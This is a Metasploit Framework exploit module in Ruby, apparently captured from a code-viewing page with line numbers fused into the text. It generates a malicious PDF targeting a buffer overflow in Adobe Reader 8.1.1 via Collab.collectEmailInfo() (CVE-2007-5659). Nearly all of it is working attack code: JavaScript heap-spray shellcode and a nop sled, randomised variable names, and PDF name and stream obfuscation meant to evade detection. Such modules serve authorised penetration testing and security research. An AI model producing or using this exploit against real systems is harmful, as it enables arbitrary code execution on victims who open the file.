Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/adobe_collectemailinfo.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe Collab.collectEmailInfo() Buffer Overflow',15'Description' => %q{16This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional 8.1.1.17By creating a specially crafted pdf that a contains malformed Collab.collectEmailInfo() call,18an attacker may be able to execute arbitrary code.19},20'License' => MSF_LICENSE,21'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>', ],22'References' =>23[24[ 'CVE', '2007-5659' ],25[ 'OSVDB', '41495' ]26],27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30'DisablePayloadHandler' => true31},32'Payload' =>33{34'Space' => 1024,35'BadChars' => "\x00",36},37'Platform' => 'win',38'Targets' =>39[40[ 'Adobe Reader v8.1.1 (Windows XP SP0-SP3 English)', { 'Ret' => '' } ],41],42'DisclosureDate' => '2008-02-08',43'DefaultTarget' => 0))4445register_options(46[47OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),48])49end5051def exploit52# Encode the shellcode.53shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))5455# Make some nops56nops = Rex::Text.to_unescape(make_nops(4))5758# Randomize variables59rand1 = rand_text_alpha(rand(100) + 1)60rand2 = rand_text_alpha(rand(100) + 1)61rand3 = rand_text_alpha(rand(100) + 1)62rand4 = rand_text_alpha(rand(100) + 1)63rand5 = rand_text_alpha(rand(100) + 1)64rand6 = rand_text_alpha(rand(100) + 1)65rand7 = rand_text_alpha(rand(100) + 1)66rand8 = rand_text_alpha(rand(100) + 1)67rand9 = rand_text_alpha(rand(100) + 1)68rand10 = rand_text_alpha(rand(100) + 1)69rand11 = rand_text_alpha(rand(100) + 1)70rand12 = rand_text_alpha(rand(100) + 1)7172script = %Q|73var #{rand1} = unescape("#{shellcode}");74var #{rand2} ="";75for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");76#{rand4} = #{rand2} + #{rand1};77#{rand5} = unescape("#{nops}");78#{rand6} = 20;79#{rand7} = #{rand6}+#{rand4}.length80while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};81#{rand8} = #{rand5}.substring(0, #{rand7});82#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});83while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};84#{rand10} = new Array();85for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};86var #{rand12} = unescape("%u0c0c%u0c0c");87while(#{rand12}.length < 0x4000) #{rand12}+=#{rand12};88this.collabStore = Collab.collectEmailInfo({subj: "",msg: #{rand12}});89|9091# Create the pdf92pdf = make_pdf(script)9394print_status("Creating '#{datastore['FILENAME']}' file...")9596file_create(pdf)97end9899def random_non_ascii_string(count)100result = ""101count.times do102result << (rand(128) + 128).chr103end104result105end106107def io_def(id)108"%d 0 obj" % id109end110111def io_ref(id)112"%d 0 R" % id113end114115#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/116def n_obfu(str)117result = ""118str.scan(/./u) do |c|119if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'120result << "#%x" % c.unpack("C*")[0]121else122result << c123end124end125result126end127128def ascii_hex_whitespace_encode(str)129result = ""130whitespace = ""131str.each_byte do |b|132result << whitespace << "%02x" % b133whitespace = " " * (rand(3) + 1)134end135result << ">"136end137138def make_pdf(js)139140xref = []141eol = "\x0d\x0a"142endobj = "endobj" << eol143144# Randomize PDF version?145pdf = "%PDF-1.5" << eol146pdf << "%" << random_non_ascii_string(4) << eol147xref << pdf.length148pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj149xref << pdf.length150pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj151xref << pdf.length152pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj153xref << pdf.length154pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj155xref << pdf.length156pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj157xref << pdf.length158compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))159pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol160pdf << "stream" << eol161pdf << compressed << eol162pdf << "endstream" << eol163pdf << endobj164xrefPosition = pdf.length165pdf << "xref" << eol166pdf << "0 %d" % (xref.length + 1) << eol167pdf << "0000000000 65535 f" << eol168xref.each do |index|169pdf << "%010d 00000 n" % index << eol170end171pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol172pdf << "startxref" << eol173pdf << xrefPosition.to_s() << eol174pdf << "%%EOF" << eol175176end177end178179180